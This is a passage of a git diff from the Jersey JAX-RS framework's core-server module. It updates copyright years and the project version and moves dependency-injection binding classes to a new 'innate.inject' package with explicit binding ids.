index e951692..6c80383 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,12 +21,11 @@
 import java.util.concurrent.ConcurrentLinkedQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
+import java.util.concurrent.Flow;
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
-
 import org.junit.jupiter.api.Test;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
diff --git a/core-server/pom.xml b/core-server/pom.xml
index a99a0d1..c04560b 100644
--- a/core-server/pom.xml
+++ b/core-server/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -104,6 +104,7 @@
                             javax.xml.transform.sax;resolution:=optional,
                             javax.xml.transform.stream;resolution:=optional,
                             jakarta.validation.*;resolution:=optional;version="[3,4)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java
index 08e1460..f827fcd 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,9 +23,10 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.server.spi.ComponentProvider;
@@ -81,7 +82,8 @@
         }
 
         serverBag.setApplication(resultApplication);
-        injectionManager.register(Bindings.service(resultApplication).to(Application.class));
+        injectionManager.register(Bindings.service(resultApplication).to(Application.class)
+                .id(InjectionIds.SERVER_APPLICATION.id()));
     }
 
     private static Application createApplication(
@@ -105,7 +107,7 @@
             }
             if (!appClassBound) {
                 if (applicationClass.isAnnotationPresent(Singleton.class)) {
-                    injectionManager.register(Bindings.serviceAsContract(applicationClass).in(Singleton.class));
+                    injectionManager.register(Bindings.serviceAsContract(applicationClass).in(Singleton.class).id(0));
                     appClassBound = true;
                 }
             }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
index 730d1ce..d976cca 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -46,6 +46,10 @@
 import jakarta.ws.rs.ext.MessageBodyWriter;
 
 import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.CompositeBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.AutoDiscoverableConfigurator;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
@@ -57,11 +61,9 @@
 import org.glassfish.jersey.internal.JaxrsProviders;
 import org.glassfish.jersey.internal.Version;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
+import org.glassfish.jersey.internal.inject.ParamConverterConfigurator;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.message.MessageBodyWorkers;
 import org.glassfish.jersey.message.internal.MessageBodyFactory;
@@ -77,7 +79,6 @@
 import org.glassfish.jersey.server.internal.JerseyRequestTimeoutHandler;
 import org.glassfish.jersey.server.internal.LocalizationMessages;
 import org.glassfish.jersey.server.internal.ProcessingProviders;
-import org.glassfish.jersey.internal.inject.ParamConverterConfigurator;
 import org.glassfish.jersey.server.internal.inject.ParamExtractorConfigurator;
 import org.glassfish.jersey.server.internal.inject.ValueParamProviderConfigurator;
 import org.glassfish.jersey.server.internal.monitoring.ApplicationEventImpl;
@@ -185,12 +186,14 @@
             // TODO: Do we really need these three bindings in DI provider? What JAX-RS specification says?
             InstanceBinding<ApplicationHandler> handlerBinding =
                     Bindings.service(ApplicationHandler.this)
-                            .to(ApplicationHandler.class);
+                            .to(ApplicationHandler.class)
+                            .id(InjectionIds.SERVER_APPLICATION_HANDLER.id());
 
             InstanceBinding<ResourceConfig> configBinding =
                     Bindings.service(serverBag.getRuntimeConfig())
                             .to(Configuration.class)
-                            .to(ServerConfig.class);
+                            .to(ServerConfig.class)
+                            .id(InjectionIds.COMMON_CONFIGURATION.id());
 
             injectionManager.register(handlerBinding);
             injectionManager.register(configBinding);
@@ -273,6 +276,10 @@
         initialize(new ApplicationConfigurator(application), Injections.createInjectionManager(parentManager), customBinder);
     }
 
+    /* package */ ApplicationHandler(InjectionManager injectionManager) {
+        initialize(new ApplicationConfigurator(new Application()), injectionManager, null);
+    }
+
     private void initialize(ApplicationConfigurator applicationConfigurator, InjectionManager injectionManager,
             Binder customBinder) {
         LOGGER.config(LocalizationMessages.INIT_MSG(Version.getBuildId()));
@@ -283,19 +290,19 @@
         ServerBootstrapBag bootstrapBag = new ServerBootstrapBag();
         bootstrapBag.setManagedObjectsFinalizer(managedObjectsFinalizer);
         List<BootstrapConfigurator> bootstrapConfigurators = Arrays.asList(
-                new RequestProcessingConfigurator(),
+                new RequestProcessingConfigurator(), // 3100-3110
                 new RequestScope.RequestScopeConfigurator(),
-                new ParamConverterConfigurator(),
-                new ParamExtractorConfigurator(),
-                new ValueParamProviderConfigurator(),
-                new JerseyResourceContextConfigurator(),
+                new ParamConverterConfigurator(), // 3010
+                new ParamExtractorConfigurator(), // 3111
+                new ValueParamProviderConfigurator(), // 3120-3150
+                new JerseyResourceContextConfigurator(), // 3112
                 new ComponentProviderConfigurator(),
-                new JaxrsProviders.ProvidersConfigurator(),
-                applicationConfigurator,
-                new RuntimeConfigConfigurator(),
-                new ContextResolverFactory.ContextResolversConfigurator(),
-                new MessageBodyFactory.MessageBodyWorkersConfigurator(),
-                new ExceptionMapperFactory.ExceptionMappersConfigurator(),
+                new JaxrsProviders.ProvidersConfigurator(), // 3016
+                applicationConfigurator, // 3190 - 3199
+                new RuntimeConfigConfigurator(), // 3180 - 3181
+                new ContextResolverFactory.ContextResolversConfigurator(), // 3014
+                new MessageBodyFactory.MessageBodyWorkersConfigurator(), // 3182
+                new ExceptionMapperFactory.ExceptionMappersConfigurator(), // 3015
                 new ResourceMethodInvokerConfigurator(),
                 new ProcessingProvidersConfigurator(),
                 new ContainerProviderConfigurator(RuntimeType.SERVER),
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java
index cc2d670..6045c18 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,9 +19,9 @@
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Configuration;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.AbstractServiceFinderConfigurator;
 import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.server.spi.ContainerProvider;
@@ -47,6 +47,6 @@
     public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
         Configuration configuration = bootstrapBag.getConfiguration();
         loadImplementations(configuration.getProperties())
-                .forEach(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class)));
+                .forEach(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class).id(0)));
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java
index a44e60e..d824e28 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java
@@ -30,6 +30,7 @@
 import java.util.logging.Logger;
 import java.util.Map;
 import java.util.Set;
+import java.util.function.Predicate;
 
 import jakarta.ws.rs.container.ContainerResponseContext;
 import jakarta.ws.rs.core.Configuration;
@@ -161,6 +162,16 @@
         return messageContext.getHeaderString(name);
     }
 
+//    @Override
+    public boolean containsHeaderString(String name, String valueSeparatorRegex, Predicate<String> valuePredicate) {
+        return messageContext.containsHeaderString(name, valueSeparatorRegex, valuePredicate);
+    }
+
+//    @Override
+    public boolean containsHeaderString(String name, Predicate<String> valuePredicate) {
+        return messageContext.containsHeaderString(name, valuePredicate);
+    }
+
     @Override
     public MultivaluedMap<String, Object> getHeaders() {
         return messageContext.getHeaders();
@@ -242,7 +253,7 @@
     }
 
     /**
-     * Set a new message message entity.
+     * Set a new message entity.
      *
      * @param entity entity object.
      * @see jakarta.ws.rs.ext.MessageBodyWriter
@@ -252,7 +263,7 @@
     }
 
     /**
-     * Set a new message message entity.
+     * Set a new message entity.
      *
      * @param entity      entity object.
      * @param annotations annotations attached to the entity.
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java
index d3d67d2..1175c6a 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,10 +20,10 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.internal.LocalizationMessages;
 import org.glassfish.jersey.server.spi.ComponentProvider;
@@ -68,7 +68,7 @@
         }
     }
 
-    private static class NoopExternalRequestScopeBinder extends AbstractBinder {
+    private static class NoopExternalRequestScopeBinder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java
index 942237b..a1851ea 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,13 +21,13 @@
 
 import jakarta.ws.rs.container.ResourceContext;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.server.internal.JerseyResourceContext;
 
 /**
@@ -47,10 +47,11 @@
 
         // Initialize and register Resource Context
         JerseyResourceContext resourceContext = new JerseyResourceContext(getOrCreateInstance, injectInstance, registerBinding);
-        InstanceBinding<JerseyResourceContext> resourceContextBinding =
+        Binding<JerseyResourceContext, ?> resourceContextBinding =
                 Bindings.service(resourceContext)
                         .to(ResourceContext.class)
-                        .to(ExtendedResourceContext.class);
+                        .to(ExtendedResourceContext.class)
+                        .id(InjectionIds.SERVER_RESOURCE_CONTEXT.id());
         injectionManager.register(resourceContextBinding);
         serverBag.setResourceContext(resourceContext);
     }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java
index 50ba5da..5b2854c 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,10 +22,11 @@
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.ComponentBag;
@@ -54,7 +55,8 @@
         ComponentBag componentBag = runtimeConfig.getComponentBag();
 
         OptionsMethodProcessor optionsMethodProcessor = new OptionsMethodProcessor();
-        injectionManager.register(Bindings.service(optionsMethodProcessor).to(ModelProcessor.class));
+        injectionManager.register(Bindings.service(optionsMethodProcessor).to(ModelProcessor.class)
+                        .id(InjectionIds.SERVER_OPTIONS_METHOD_PROCESSOR.id()));
 
         // Get all model processors, registered as an instance or class
         List<ModelProcessor> modelProcessors =
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java
index e6f5006..8a94548 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,10 +27,10 @@
 
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.ComponentBag;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
index 4cf65c8..655bb11 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.server.internal.JsonWithPaddingInterceptor;
 import org.glassfish.jersey.server.internal.MappableExceptionWrapperInterceptor;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringContainerListener;
@@ -33,7 +33,7 @@
  * @author Marek Potociar
  * @author Libor Kramolis
  */
-class ServerBinder extends AbstractBinder {
+class ServerBinder extends InternalBinder {
 
     @Override
     protected void configure() {
@@ -41,12 +41,12 @@
                 new MonitoringContainerListener.Binder());
 
         //ChunkedResponseWriter
-        bind(ChunkedResponseWriter.class).to(MessageBodyWriter.class).in(Singleton.class);
+        bind(ChunkedResponseWriter.class).to(MessageBodyWriter.class).in(Singleton.class).id(0);
 
         // JSONP
-        bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class);
+        bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class).id(0);
 
         //Default exception mapper
-        bind(DefaultExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class);
+        bind(DefaultExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class).id(0);
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerBootstrapPreinitialization.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerBootstrapPreinitialization.java
new file mode 100644
index 0000000..da3dc1e
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerBootstrapPreinitialization.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.glassfish.jersey.server.wadl.WadlFeature;
+import org.glassfish.jersey.server.wadl.processor.WadlModelProcessor;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ServerBootstrapPreinitialization implements BootstrapPreinitialization {
+
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        if (runtimeType == RuntimeType.SERVER) {
+            new ApplicationHandler(injectionManager);
+            if (new WadlFeature().configure(BootstrapPreinitialization.featureContextInstance())) {
+                injectionManager.register(
+                        Bindings.serviceAsContract(WadlModelProcessor.OptionsHandler.class).in(RequestScoped.class).id(0)
+                );
+            }
+        }
+    }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java
index d620958..79d269b 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java
@@ -16,10 +16,10 @@
 
 package org.glassfish.jersey.server;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.process.internal.AbstractExecutorProvidersConfigurator;
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
@@ -28,6 +28,7 @@
 import org.glassfish.jersey.spi.ThreadPoolExecutorProvider;
 
 import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.RuntimeType;
 
 /**
  * Configurator which initializes and register {@link org.glassfish.jersey.spi.ExecutorServiceProvider} and
@@ -45,20 +46,20 @@
 
         // TODO: Do we need to register DEFAULT Executor and ScheduledExecutor to InjectionManager?
         ScheduledExecutorServiceProvider defaultScheduledExecutorProvider = new DefaultBackgroundSchedulerProvider(runtimeConfig);
-        InstanceBinding<ScheduledExecutorServiceProvider> schedulerBinding = Bindings
+        Binding<ScheduledExecutorServiceProvider, ?> schedulerBinding = Bindings
                 .service(defaultScheduledExecutorProvider)
                 .to(ScheduledExecutorServiceProvider.class)
                 .qualifiedBy(BackgroundSchedulerLiteral.INSTANCE);
         injectionManager.register(schedulerBinding);
 
         ExecutorServiceProvider defaultAsyncExecutorProvider = new DefaultManagedAsyncExecutorProvider();
-        InstanceBinding<ExecutorServiceProvider> executorBinding = Bindings
+        Binding<ExecutorServiceProvider, ?> executorBinding = Bindings
                 .service(defaultAsyncExecutorProvider)
                 .to(ExecutorServiceProvider.class);
         injectionManager.register(executorBinding);
 
         registerExecutors(injectionManager, componentBag, defaultAsyncExecutorProvider,
-                defaultScheduledExecutorProvider, serverBag.getManagedObjectsFinalizer());
+                defaultScheduledExecutorProvider, serverBag.getManagedObjectsFinalizer(), RuntimeType.SERVER);
     }
 
     /**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
index 4e95a47..4917f05 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
@@ -33,9 +33,8 @@
 import jakarta.inject.Scope;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -211,7 +210,7 @@
      *                      wil be bound as a contract provider too.
      */
     public <T> void unsafeBindResource(Class<T> resourceClass, ContractProvider providerModel) {
-        ClassBinding<T> descriptor;
+        Binding<T, ?> descriptor;
         if (providerModel != null) {
             Class<? extends Annotation> scope = providerModel.getScope();
             descriptor = Bindings.serviceAsContract(resourceClass).in(scope);
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java
index 13d5e3f..346c9c5 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import jakarta.annotation.Priority;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.internal.MessageBodyProviderNotFoundException;
 import org.glassfish.jersey.server.internal.process.MappableException;
 
@@ -74,7 +74,7 @@
      * (used on the client side).
      *
      */
-    public static class Binder extends AbstractBinder {
+    public static class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
index bfaad0e..0b7abc2 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CompletionStage;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
@@ -45,7 +46,7 @@
 public class RuntimeDelegateImpl extends AbstractRuntimeDelegate {
 
     public RuntimeDelegateImpl() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.SERVER).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java
index 117ce26..a27a1d5 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.collection.Cache;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java
index 63466f0..cefa696 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,8 +21,8 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.Injectee;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java
index ef540e2..5584768 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
